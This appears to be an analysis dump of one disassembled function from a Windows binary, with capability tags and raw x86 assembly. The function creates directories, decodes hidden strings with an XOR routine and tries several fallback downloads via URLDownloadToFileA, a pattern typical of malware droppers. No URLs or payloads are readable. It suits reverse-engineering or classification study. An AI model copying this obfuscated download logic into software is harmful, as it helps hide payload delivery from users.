Function at 0x1008af70
Capabilities:
Check if file exists
Create directory
Download url
Encode data using xor
Get file attributes
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x10266a40]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
jmp 0x1008af8c
lea eax, [ebp - 0x1c]
mov ecx, 0x10254aa8
push eax
call fcn.1004f290
cmp dword [ebp - 8], 0xf
lea eax, [ebp - 0x1c]
mov ecx, 0x1026ba80
cmova eax, dword [ebp - 0x1c]
push eax
call fcn.10056340
mov ecx, dword [ebp - 8]
cmp ecx, 0xf
jbe 0x1008afe0
mov edx, dword [ebp - 0x1c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1008afd6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008b02a
push ecx
push edx
call fcn.1010be7a
add esp, 8
lea eax, [ebp - 0x1c]
mov ecx, 0x10254ac0
push eax
call fcn.10050980
cmp dword [ebp - 8], 0xf
lea eax, [ebp - 0x1c]
mov ecx, 0x1026bab0
cmova eax, dword [ebp - 0x1c]
push eax
call fcn.10056340
mov ecx, dword [ebp - 8]
cmp ecx, 0xf
jbe 0x1008b03a
mov edx, dword [ebp - 0x1c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1008b030
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1008b030
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.1010be7a
add esp, 8
cmp dword [0x1026ba94], 0xf
mov eax, 0x1026ba80
cmova eax, dword [0x1026ba80]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ebx, eax
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
cmp ebx, 0xffffffff
jne 0x1008b06e
call esi
cmp eax, 2
je 0x1008b073
test bl, 0x10
jne 0x1008b08b
cmp dword [0x1026ba94], 0xf
mov eax, 0x1026ba80
push 0
cmova eax, dword [0x1026ba80]
push eax
call edi
cmp dword [0x1026bac4], 0xf
mov eax, 0x1026bab0
cmova eax, dword [0x1026bab0]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x1008b0b3
call esi
cmp eax, 2
je 0x1008b0b8
test bl, 0x10
jne 0x1008b0d0
cmp dword [0x1026bac4], 0xf
mov eax, 0x1026bab0
push 0
cmova eax, dword [0x1026bab0]
push eax
call edi
lea eax, [ebp - 0x34]
mov ecx, 0x10254b18
push eax
call fcn.10082b30
cmp dword [ebp - 0x20], 0xf
lea eax, [ebp - 0x34]
cmova eax, dword [ebp - 0x34]
cmp byte [0x10254ad8], 0
mov dword [ebp - 0x3c], eax
je 0x1008b163
cmp byte [0x10254ad9], 0
jne 0x1008b1bc
mov byte [0x10254ad9], 1
xor ebx, ebx
nop dword [eax + eax]
xor edi, edi
mov esi, ebx
xor esi, dword [0x10254b10]
xor edi, dword [0x10254b14]
xor esi, 0x1de26cd5
xor edi, 0xd28f2c5
mov eax, esi
mov ecx, edi
shld ecx, eax, 0xd
shl eax, 0xd
xor edi, ecx
xor esi, eax
mov ecx, edi
mov edx, esi
shrd edx, ecx, 7
shr ecx, 7
xor edx, esi
xor ecx, edi
mov eax, edx
shld ecx, eax, 0x11
shl eax, 0x11
xor al, dl
xor byte [ebx + 0x10254ada], al
inc ebx
cmp ebx, 0x30
jb 0x1008b110
jmp 0x1008b1bc
xor ebx, ebx
xor edi, edi
mov esi, ebx
xor esi, dword [0x10254b10]
xor edi, dword [0x10254b14]
xor esi, 0x1de26cd5
xor edi, 0xd28f2c5
mov eax, esi
mov ecx, edi
shld ecx, eax, 0xd
shl eax, 0xd
xor edi, ecx
xor esi, eax
mov ecx, edi
mov edx, esi
shrd edx, ecx, 7
shr ecx, 7
xor edx, esi
xor ecx, edi
mov eax, edx
shld ecx, eax, 0x11
shl eax, 0x11
xor al, byte [ebx + 0x10254ada]
xor al, dl
mov byte [ebx + 0x10254ada], al
inc ebx
cmp ebx, 0x30
jb 0x1008b165
lea eax, [ebp - 0x35]
push eax
push 0x10254b09
push 0x10254ada
lea ecx, [ebp - 0x1c]
call fcn.1004ef20
cmp dword [ebp - 8], 0xf
lea eax, [ebp - 0x1c]
push 0
cmova eax, dword [ebp - 0x1c]
push 0x10
push dword [ebp - 0x3c]
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
mov ecx, dword [ebp - 8]
mov esi, eax
cmp ecx, 0xf
jbe 0x1008b21e
mov edx, dword [ebp - 0x1c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1008b214
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008b256
push ecx
push edx
call fcn.1010be7a
add esp, 8
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0xf
mov byte [ebp - 0x1c], 0
cmp ecx, 0xf
jbe 0x1008b266
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1008b25c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1008b25c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.1010be7a
add esp, 8
test esi, esi
jne 0x1008b57e
lea eax, [ebp - 0x34]
mov ecx, 0x10254b98
push eax
call fcn.10082b30
cmp dword [ebp - 0x20], 0xf
lea eax, [ebp - 0x34]
cmova eax, dword [ebp - 0x34]
cmp byte [0x10254b60], 0
mov dword [ebp - 0x3c], eax
je 0x1008b309
cmp byte [0x10254b61], 0
jne 0x1008b367
mov byte [0x10254b61], 1
xor ebx, ebx
nop dword [eax]
xor edi, edi
mov esi, ebx
xor esi, dword [0x10254b90]
xor edi, dword [0x10254b94]
xor esi, 0x1de26cd5
xor edi, 0xd28f2c5
mov eax, esi
mov ecx, edi
shld ecx, eax, 0xd
shl eax, 0xd
xor edi, ecx
xor esi, eax
mov ecx, edi
mov edx, esi
shrd edx, ecx, 7
shr ecx, 7
xor edx, esi
xor ecx, edi
mov eax, edx
shld ecx, eax, 0x11
shl eax, 0x11
xor al, byte [ebx + 0x10254b62]
xor al, dl
mov byte [ebx + 0x10254b62], al
inc ebx
cmp ebx, 0x2e
jb 0x1008b2b0
jmp 0x1008b367
xor ebx, ebx
nop dword [eax + eax]
xor edi, edi
mov esi, ebx
xor esi, dword [0x10254b90]
xor edi, dword [0x10254b94]
xor esi, 0x1de26cd5
xor edi, 0xd28f2c5
mov eax, esi
mov ecx, edi
shld ecx, eax, 0xd
shl eax, 0xd
xor edi, ecx
xor esi, eax
mov ecx, edi
mov edx, esi
shrd edx, ecx, 7
shr ecx, 7
xor edx, esi
xor ecx, edi
mov eax, edx
shld ecx, eax, 0x11
shl eax, 0x11
xor al, byte [ebx + 0x10254b62]
xor al, dl
mov byte [ebx + 0x10254b62], al
inc ebx
cmp ebx, 0x2e
jb 0x1008b310
lea eax, [ebp - 0x35]
push eax
push 0x10254b8f
push 0x10254b62
lea ecx, [ebp - 0x1c]
call fcn.1004ef20
cmp dword [ebp - 8], 0xf
lea eax, [ebp - 0x1c]
push 0
cmova eax, dword [ebp - 0x1c]
push 0x10
push dword [ebp - 0x3c]
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
mov ecx, dword [ebp - 8]
mov esi, eax
cmp ecx, 0xf
jbe 0x1008b3c9
mov edx, dword [ebp - 0x1c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1008b3bf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008b401
push ecx
push edx
call fcn.1010be7a
add esp, 8
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0xf
mov byte [ebp - 0x1c], 0
cmp ecx, 0xf
jbe 0x1008b411
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1008b407
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1008b407
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.1010be7a
add esp, 8
test esi, esi
jne 0x1008b57e
lea eax, [ebp - 0x1c]
mov ecx, 0x10254c20
push eax
call fcn.10082b30
cmp dword [ebp - 8], 0xf
lea eax, [ebp - 0x34]
lea esi, [ebp - 0x1c]
mov ecx, 0x10254be0
cmova esi, dword [ebp - 0x1c]
push eax
call fcn.10065620
cmp dword [ebp - 0x20], 0xf
lea eax, [ebp - 0x34]
push 0
cmova eax, dword [ebp - 0x34]
push 0x10
push esi
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
lea ecx, [ebp - 0x34]
mov esi, eax
call fcn.100446f0
lea ecx, [ebp - 0x1c]
call fcn.100446f0
test esi, esi
jne 0x1008b57e
lea eax, [ebp - 0x1c]
mov ecx, 0x10254ca8
push eax
call fcn.10082b30
cmp dword [ebp - 8], 0xf
lea eax, [ebp - 0x34]
lea esi, [ebp - 0x1c]
mov ecx, 0x10254c68
cmova esi, dword [ebp - 0x1c]
push eax
call fcn.10065620
cmp dword [ebp - 0x20], 0xf
lea eax, [ebp - 0x34]
push 0
cmova eax, dword [ebp - 0x34]
push 0x10
push esi
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
lea ecx, [ebp - 0x34]
mov esi, eax
call fcn.100446f0
lea ecx, [ebp - 0x1c]
call fcn.100446f0
test esi, esi
jne 0x1008b57e
lea eax, [ebp - 0x1c]
mov ecx, 0x10254d28
push eax
call fcn.10082b30
cmp dword [ebp - 8], 0xf
lea eax, [ebp - 0x34]
lea esi, [ebp - 0x1c]
mov ecx, 0x10254cf0
cmova esi, dword [ebp - 0x1c]
push eax
call fcn.10065480
cmp dword [ebp - 0x20], 0xf
lea eax, [ebp - 0x34]
push 0
cmova eax, dword [ebp - 0x34]
push 0x10
push esi
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
lea ecx, [ebp - 0x34]
mov esi, eax
call fcn.100446f0
lea ecx, [ebp - 0x1c]
call fcn.100446f0
test esi, esi
jne 0x1008b57e
lea eax, [ebp - 0x1c]
mov ecx, 0x10254da8
push eax
call fcn.10082b30
cmp dword [ebp - 8], 0xf
lea eax, [ebp - 0x34]
lea esi, [ebp - 0x1c]
mov ecx, 0x10254d70
cmova esi, dword [ebp - 0x1c]
push eax
call fcn.10065480
cmp dword [ebp - 0x20], 0xf
lea eax, [ebp - 0x34]
push 0
cmova eax, dword [ebp - 0x34]
push 0x10
push esi
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
lea ecx, [ebp - 0x34]
mov esi, eax
call fcn.100446f0
lea ecx, [ebp - 0x1c]
call fcn.100446f0
test esi, esi
jne 0x1008b57e
jmp 0x1008b57e
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1010c1a2
mov esp, ebp
pop ebp
ret